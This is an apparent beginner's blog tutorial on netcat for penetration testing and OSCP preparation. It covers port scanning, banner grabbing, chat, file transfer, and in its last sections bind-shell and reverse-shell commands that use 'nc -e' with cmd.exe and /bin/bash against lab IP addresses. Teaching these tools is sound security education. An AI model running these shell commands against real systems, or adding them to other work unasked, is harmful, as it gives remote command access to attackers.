Hello everyone, hope all doing well. This post is all about netcat guide for beginners. If you love to do pen-testing using tools like the Metasploit framework then definitely you will love Netcat (shortly called nc). or people who are preparing for OSCP will love it and this netcat guide will be very handy for them.
What is Netcat?
Netcat is a TCP/IP swiss army tool that helps to perform various tasks across the network connections, and those things we will see in this blog. If I missed anything please let me know in the comment section. 😀
Port Scanning:
As we know that port scanning is one of the most important phase in pen-testing and for that we used different tools like Nmap, mass scan, etc. But for the same task can use netcat in a very handy manner.
nc -zv 192.168.1.5 21
In the above eg provided target IP along with a single port no. 21
nc -zv 192.168.1.5 1-100
In the above eg provided a specific range of port number along with IP
Banner Grabbing
Banner grabbing helps to grab information about services running on a specific port number which includes version information mainly, by version info attacker checks whether that version is vulnerable or not.
nc -nv 192.168.1.5 21
In the above eg shows version of vsFTPd
Simple Chat Application
Necat can also use for conversation purpose, like a handy and simple command-line chat application.
nc -lvp 4444
In the above eg, the first user listening on port number 4444
nc -nv 192.168.1.4 4444
Whether the second user trying to connect to the first user using respected IP along with Port No.
File transfer
Netcat also helps to transfer files from one system to another system.
nc -nv 192.168.1.4 5555 < test.txt
In the above eg, a first user trying to send text.txt
nc -lvp 5555 > pentestguy.txt
In the above eg, a second user listening on port number 5555 and saved text file with any relevant name
Bind Connection
Bind connection is a very simple concept, the attacker tries to bind to the target system to open port to get bind shell.
nc -lvp 4444 -e cmd.exe
In the above eg, listening on port no 4444 and added cmd.exe
nc -nv 192.168.1.4 4444
In the above eg, trying to connect to the respective system
Reverse Connection
Reverse connection is widely used by hackers, which helps to get reverse shell no matter if there is any firewall protection to the targeted system.
nc -nv 192.168.1.4 4444 -e /bin/bash
In the above eg, trying to handover connection
nc -lvp 4444
In the above eg, waiting for connection from another system
If you found this post helpful then please share it with your co-workers and friends. Please provide your valuable comment and let us know if there is any suggestion. Now you can also colab with us please check our collaboration page, thank you!